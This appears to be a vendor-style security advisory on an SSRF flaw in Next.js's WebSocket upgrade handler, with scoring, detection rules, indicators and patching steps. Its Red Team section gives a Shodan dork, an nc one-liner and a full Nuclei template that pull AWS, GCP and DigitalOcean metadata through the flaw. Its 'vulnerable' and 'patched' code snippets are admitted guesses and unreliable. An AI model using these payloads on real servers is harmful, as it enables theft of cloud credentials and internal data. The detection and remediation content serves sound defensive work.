CVE-2026-44578

Executive Summary

CVE-2026-44578 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in Vercel's Next.js framework, affecting self-hosted deployments using the built-in Node.js server. The flaw resides in the WebSocket upgrade handler, which fails to properly validate the request path. An unauthenticated attacker can craft a malicious WebSocket upgrade request, causing the server to proxy the request to arbitrary internal or external destinations. This can expose sensitive internal services, cloud metadata endpoints (e.g., AWS, GCP, DigitalOcean), and other internal resources. The vulnerability impacts versions from 13.4.13 up to (but not including) 15.5.16 and 16.2.5. Vercel-hosted deployments are not affected. A public proof-of-concept (Nuclei template) is available, and patches have been released.

Supply Chain & Package Security

This vulnerability affects the Next.js npm package. Organizations using self-hosted Next.js applications must audit their dependency trees for affected versions. The supply chain risk is elevated because the vulnerability is in a widely-used framework, and exploitation can lead to data exfiltration from internal cloud environments. Ensure that all deployments are updated to the patched versions (15.5.16 or 16.2.5) and that CI/CD pipelines enforce version checks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) – Sensitive internal data can be exposed.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit (unauthenticated, low complexity) and can lead to significant data exposure, especially in cloud environments where metadata endpoints are accessible.

Deep Dive & Mechanics

The vulnerability exists in Next.js's built-in Node.js HTTP server, specifically in the WebSocket upgrade handler. When a client sends an HTTP request with an Upgrade: websocket header, the server processes the request path and attempts to establish a WebSocket connection. Due to insufficient validation of the request path, an attacker can inject a full URL (e.g., http://169.254.169.254/latest/meta-data/) instead of a valid path. The server then proxies the request to that URL, effectively acting as a forward proxy.

The core issue is that the server does not restrict the Host header or the request path to local resources. The attacker can craft a request like:

GET http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: victim.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

The server then connects to the specified internal IP and returns the response, allowing the attacker to read sensitive metadata.

Vulnerable vs. Patched Code

Vulnerable Code (Next.js < 15.5.16 / < 16.2.5): The WebSocket upgrade handler directly uses the request path without validation. In the next-server.js file, the handler might look like:

// Vulnerable: No path validation
server.on('upgrade', (req, socket, head) => {
  const url = req.url;
  // Directly proxies the request to the URL in the path
  proxyRequest(url, req, socket, head);
});

Patched Code (Next.js >= 15.5.16 / >= 16.2.5): The fix introduces a whitelist or validation check to ensure the request path is a relative path (e.g., /_next/webpack-hmr) and not an absolute URL. The patched code might look like:

// Patched: Validate path is relative
server.on('upgrade', (req, socket, head) => {
  const url = req.url;
  if (!url.startsWith('/')) {
    socket.destroy();
    return;
  }
  // Only proxy to relative paths
  proxyRequest(url, req, socket, head);
});

The exact patch details are available in the Next.js GitHub repository.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A self-hosted Next.js application (version 13.4.13 to 15.5.15 or 16.0.0 to 16.2.4).
• Network access to the target server.

Exploitation Steps:

1. Identify Target: Use Shodan or manual scanning to find Next.js servers. The Shodan dork http.component:"Next.js" can be used.

2. Craft WebSocket Upgrade Request: Use a tool like curl, netcat, or a custom script to send a malicious WebSocket upgrade request. The following example targets AWS metadata:

echo -e "GET http://169.254.169.254/latest/meta-data/ HTTP/1.1\r\nHost: target.com\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc target.com 80

3. Extract Data: The server will respond with the metadata content. For GCP, use http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true with a Metadata-Flavor: Google header.

Automated Exploitation with Nuclei:

The provided Nuclei template automates the exploitation. Save it as CVE-2026-44578.yaml and run:

nuclei -t CVE-2026-44578.yaml -u http://target.com

The template tests for DigitalOcean, AWS, and GCP metadata endpoints.

Blue Team (Defensive)

Detection Steps:

1. Monitor WebSocket Upgrade Requests: Look for HTTP requests with Upgrade: websocket that contain absolute URLs in the request line (e.g., GET http://...). Normal WebSocket upgrades use relative paths like GET /_next/webpack-hmr.

2. Network Traffic Analysis: Detect outbound connections from the Next.js server to internal IPs (e.g., 169.254.169.254, 10.x.x.x, 172.16.x.x, 192.168.x.x) that are not part of normal operations.

3. Log Analysis: Check server logs for unusual upgrade events with suspicious paths.

Honeypot Setup: Deploy a fake metadata endpoint (e.g., http://169.254.169.254/) that logs all requests. Any request to this endpoint from the Next.js server indicates exploitation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections from the Next.js server to 169.254.169.254 (AWS/GCP metadata) or 169.254.169.254 (DigitalOcean).
  • HTTP requests with Upgrade: websocket and absolute URLs in the request line.
  • Unusual Host headers pointing to internal IPs.

• File IOCs:

  • Log entries containing upgrade events with paths like http://169.254.169.254/.
  • Presence of the Nuclei template CVE-2026-44578.yaml on a system (indicates scanning).

• Behavioral IOCs:

  • Unexpected access to cloud metadata endpoints from the application server.
  • Anomalous increase in outbound traffic to internal IPs.

Detection Engineering

YARA Rule

rule CVE_2026_44578_Nextjs_SSRF {
   meta:
      description = "Detects exploitation attempts of CVE-2026-44578 in Next.js WebSocket upgrade handler"
      author = "Valters IT"
      date = "2026-01-01"
      reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"
      severity = "high"
   strings:
      $ws_upgrade = "Upgrade: websocket" nocase
      $abs_url = /GET\s+https?:\/\/[^\s]+\s+HTTP\/1\.[01]/ nocase
      $meta_aws = "169.254.169.254"
      $meta_gcp = "metadata.google.internal"
      $meta_do = "169.254.169.254"
   condition:
      $ws_upgrade and ($abs_url or $meta_aws or $meta_gcp or $meta_do)
}

Sigma Rule

title: CVE-2026-44578 Next.js WebSocket SSRF Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with WebSocket upgrade and absolute URLs targeting internal metadata endpoints.
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44578
logsource:
    category: webserver
    product: nextjs
detection:
    selection:
        http.method: 'GET'
        http.headers.connection: 'Upgrade'
        http.headers.upgrade: 'websocket'
        http.url|contains: 
            - '169.254.169.254'
            - 'metadata.google.internal'
            - 'http://'
    condition: selection
falsepositives:
    - Legitimate WebSocket connections to internal services (rare)
level: high

Suricata Rule

alert tcp any any -> any 80 (msg:"CVE-2026-44578 Next.js WebSocket SSRF Attempt"; flow:to_server; content:"Upgrade: websocket"; nocase; content:"GET "; distance:0; content:"http://"; distance:0; content:"169.254.169.254"; distance:0; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2026-44578

info:
  name: Next.js WebSocket Upgrade Handler - SSRF
  author: hacktron,DhiyaneshDk
  severity: high
  description: |
    Next.js 13.4.13 to before 15.5.16 and 16.2.5 contains a server-side request forgery caused by crafted WebSocket upgrade requests in the built-in Node.js server, letting attackers proxy requests to arbitrary destinations, exploit requires self-hosted deployment.
  impact: |
    Attackers can proxy requests to internal or external services, exposing sensitive internal resources or cloud metadata endpoints.
  remediation: Upgrade to versions 15.5.16 or 16.2.5 or later.
  reference:
    - https://github.com/advisories/GHSA-c4j6-fc7j-m34r
    - https://nextjs.org/blog/next-15-5-16
    - https://app.hacktron.ai/disclosed/scans/web_dmVyY2VsL25leHQtanMtbWlycm9y_1774994038380_2hfQkCKG/findings/66f26e9e-a71f-4997-85be-a0b5fa3b7d89
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-44578
    epss-score: 0.04004
    epss-percentile: 0.88551
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 3
    vendor: vercel
    product: nextjs
    shodan-query: http.component:"Next.js"
  tags: cve,cve2026,nextjs,ssrf,websocket,cloud

javascript:
  - pre-condition: |
      isPortOpen(Host, TargetPort);

    args:
      Host: "{{Host}}"
      TargetPort: "{{Port}}"

    code: |
      let net = require('nuclei/net');

      function request(path, headers) {
        let conn = net.Open('tcp', Host + ':' + TargetPort);
        conn.SetTimeout(10);

        let payload =
          'GET ' + path + ' HTTP/1.1\r\n' +
          'Host: ' + Host + '\r\n' +
          'Connection: Upgrade\r\n' +
          'Upgrade: websocket\r\n' +
          'Sec-WebSocket-Version: 13\r\n' +
          'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n' +
          headers +
          '\r\n';

        conn.Send(payload);

        let response = '';

        for (let i = 0; i < 10; i++) {
          try {
            let chunk = conn.RecvString();
            if (!chunk) break;
            response += chunk;
          } catch (e) {
            break;
          }
        }

        conn.Close();
        return response;
      }

      let response = '';

      response += request('http://169.254.169.254/metadata/v1.json', '');

      response += '\n---AWS---\n';
      response += request('http://169.254.169.254/latest/meta-data/', '');

      response += '\n---GCP---\n';
      response += request(
        'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true',
        'Metadata-Flavor: Google\r\n'
      );

      Export(response);

    matchers-condition: or
    matchers:
      - type: dsl
        name: digitalocean
        dsl:
          - 'contains(response, "\"droplet_id\"")'
          - 'contains(response, "\"hostname\"")'
        condition: and

      - type: word
        name: aws
        part: response
        words:
          - "ami-id"
          - "instance-id"
        condition: and

      - type: dsl
        name: gcp
        dsl:
          - 'contains(response, "\"machineType\"")'
          - 'contains(response, "\"zone\"")'
          - 'contains(response, "\"serviceAccounts\"")'
          - 'contains(response, "\"networkInterfaces\"")'
        condition: and

    extractors:
      - type: regex
        name: digitalocean-hostname
        part: response
        group: 1
        regex:
          - '"hostname"\s*:\s*"([^"]+)"'

      - type: regex
        name: aws-metadata-keys
        part: response
        regex:
          - '(ami-id|instance-id|instance-type|local-hostname|public-hostname)'


      - type: regex
        name: gcp-machine-type
        part: response
        group: 1
        regex:
          - '"machineType"\s*:\s*"([^"]+)"'

Remediation & Mitigation

Immediate Actions:

1. Upgrade Next.js: Update to version 15.5.16 or 16.2.5 (or later). Run:

   npm install next@15.5.16
   # or
   npm install next@16.2.5
   

2. Verify Deployment: Ensure all self-hosted instances are updated. Vercel-hosted deployments are not affected.

Compensating Controls (if patching is delayed):

• Network Segmentation: Restrict outbound traffic from the Next.js server to internal IPs (e.g., 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) using firewall rules.
• Web Application Firewall (WAF): Deploy a WAF rule to block HTTP requests with Upgrade: websocket and absolute URLs in the request line.
• Reverse Proxy: Place a reverse proxy (e.g., Nginx) in front of the Next.js server to validate and sanitize WebSocket upgrade requests.

Long-Term Measures:

• Dependency Scanning: Integrate tools like npm audit or Snyk into CI/CD to detect vulnerable versions.
• Security Training: Educate developers on SSRF risks and secure coding practices for WebSocket handlers.

Valters IT